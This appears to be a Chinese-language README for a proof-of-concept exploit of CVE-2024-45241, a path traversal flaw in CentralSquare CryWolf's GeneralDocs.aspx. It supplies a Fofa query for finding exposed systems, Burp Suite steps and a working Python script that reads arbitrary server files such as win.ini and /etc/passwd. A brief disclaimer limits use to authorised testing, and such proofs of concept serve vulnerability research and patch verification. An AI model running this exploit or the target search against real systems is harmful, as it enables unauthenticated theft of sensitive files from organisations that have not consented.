CVE-2024-45241: CentralSquare CryWolf 路径遍历漏洞POC
项目描述
本项目提供了一个针对 CentralSquare CryWolf(误报管理系统)中发现的路径遍历漏洞的概念验证(Proof of Concept)。该漏洞被标记为 CVE-2024-45241,影响GeneralDocs.aspx组件。通过利用rpt参数,未经身份验证的攻击者可以访问Web根目录之外的文件,导致敏感信息泄露。
免责声明:此概念验证代码仅用于教育和授权安全测试目的。未经双方同意使用此工具攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不对任何滥用或由此程序造成的损害承担责任。
功能特性
- 漏洞检测:快速检测目标是否存在CVE-2024-45241路径遍历漏洞
- 文件读取:利用路径遍历漏洞读取Web服务器上的任意文件
- 目标识别:提供Fofa搜索语法,帮助识别潜在易受攻击的系统
- 流量分析辅助:适配Burp Suite等代理工具,便于请求拦截与响应分析
安装指南
本项目无需安装额外依赖,所有操作均通过浏览器和Burp Suite完成。
系统要求
- 现代Web浏览器(Chrome/Firefox等)
- Burp Suite(或其他HTTP代理工具)
- 网络连接至目标系统
配置步骤
- 启动Burp Suite并配置浏览器代理(默认:
127.0.0.1:8080) - 确保Burp的拦截功能已开启
使用说明
查找目标
使用Fofa搜索语法识别潜在目标:
"Powered by CryWolf"
漏洞利用步骤
1. 构造恶意请求
在浏览器地址栏中输入以下URL格式:
<TARGET_URL>/GeneralDocs.aspx?rpt=../../../../../<FILE>
示例:读取Windows系统中的win.ini文件
https://example.com/GeneralDocs.aspx?rpt=../../../../../../Windows/win.ini
2. Burp Suite拦截与转发
- 确保Burp拦截功能开启,浏览器发起请求
- 在Burp中查看原始请求:
GET /GeneralDocs.aspx?rpt=../../../../../<FILE> - 点击 Forward 转发请求
3. 捕获文件内容响应
继续点击Forward,直到看到对gdoc1.ashx的GET请求:
- 右键单击该请求
- 选择 Do intercept → Response to this request
- 再次点击 Forward
此时Burp将显示服务器的响应内容,其中包含目标文件的数据。
核心代码
漏洞检测请求示例
import requests
import sys
def check_vulnerability(target_url, file_path="Windows/win.ini"):
"""
检测目标是否存在CVE-2024-45241路径遍历漏洞
"""
# 构造路径遍历payload
traversal_payload = "../../../../../../" + file_path
test_url = f"{target_url}/GeneralDocs.aspx?rpt={traversal_payload}"
try:
print(f"[*] 检测目标: {test_url}")
response = requests.get(test_url, timeout=10, verify=False)
# 检查响应中是否包含敏感文件特征
if response.status_code == 200 and len(response.text) > 0:
# 检查典型Windows配置文件特征
if "[extensions]" in response.text or "[fonts]" in response.text:
print("[+] 目标存在CVE-2024-45241漏洞!")
print(f"[+] 文件内容预览:\n{response.text[:500]}")
return True
else:
print("[?] 目标响应了请求,但未能确认文件内容。")
print(f"[?] 响应预览:\n{response.text[:200]}")
return False
else:
print(f"[-] 请求失败,状态码: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] 连接目标时出错: {e}")
return False
def read_arbitrary_file(target_url, file_path):
"""
利用漏洞读取任意文件
"""
traversal_payload = "../../../../../../" + file_path.lstrip('/')
test_url = f"{target_url}/GeneralDocs.aspx?rpt={traversal_payload}"
try:
response = requests.get(test_url, timeout=10, verify=False)
if response.status_code == 200:
print(f"[+] 成功读取文件: {file_path}")
print(f"[+] 文件内容:\n{response.text}")
return response.text
else:
print(f"[-] 读取失败,状态码: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败: {e}")
return None
if __name__ == "__main__":
# 禁用SSL警告
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) < 2:
print("用法: python poc.py <目标URL> [文件路径]")
print("示例: python poc.py https://example.com")
print("示例: python poc.py https://example.com ../../../../Windows/win.ini")
sys.exit(1)
target = sys.argv[1].rstrip('/')
if len(sys.argv) >= 3:
# 读取指定文件
file_to_read = sys.argv[2]
read_arbitrary_file(target, file_to_read)
else:
# 默认检测漏洞
check_vulnerability(target)
漏洞利用核心逻辑说明
# 核心payload构造逻辑
def build_traversal_payload(target_file):
"""
构造路径遍历payload
使用足够的 ../ 序列来跳出Web根目录
"""
# 使用7层遍历确保穿透常见目录深度
traversal_depth = "../../../../../../"
return traversal_depth + target_file.lstrip('/')
# 示例: 读取Linux的passwd文件
payload_linux = build_traversal_payload("etc/passwd")
# 结果: "../../../../../../etc/passwd"
# 示例: 读取Windows配置文件
payload_windows = build_traversal_payload("Windows/win.ini")
# 结果: "../../../../../../Windows/win.ini"
Burp Suite手动测试流程
-
发送请求至Repeater
GET /GeneralDocs.aspx?rpt=../../../../../Windows/win.ini HTTP/1.1 Host: <TARGET_HOST> -
观察重定向到gdoc1.ashx
HTTP/1.1 302 Found Location: /gdoc1.ashx?rpt=../../../../../Windows/win.ini -
直接请求gdoc1.ashx获取内容
GET /gdoc1.ashx?rpt=../../../../../Windows/win.ini HTTP/1.1 Host: <TARGET_HOST> -
分析响应体中的文件内容 6HFtX5dABrKlqXeO5PUv/41hLK5eNtR+nJRd+Ycg6lg=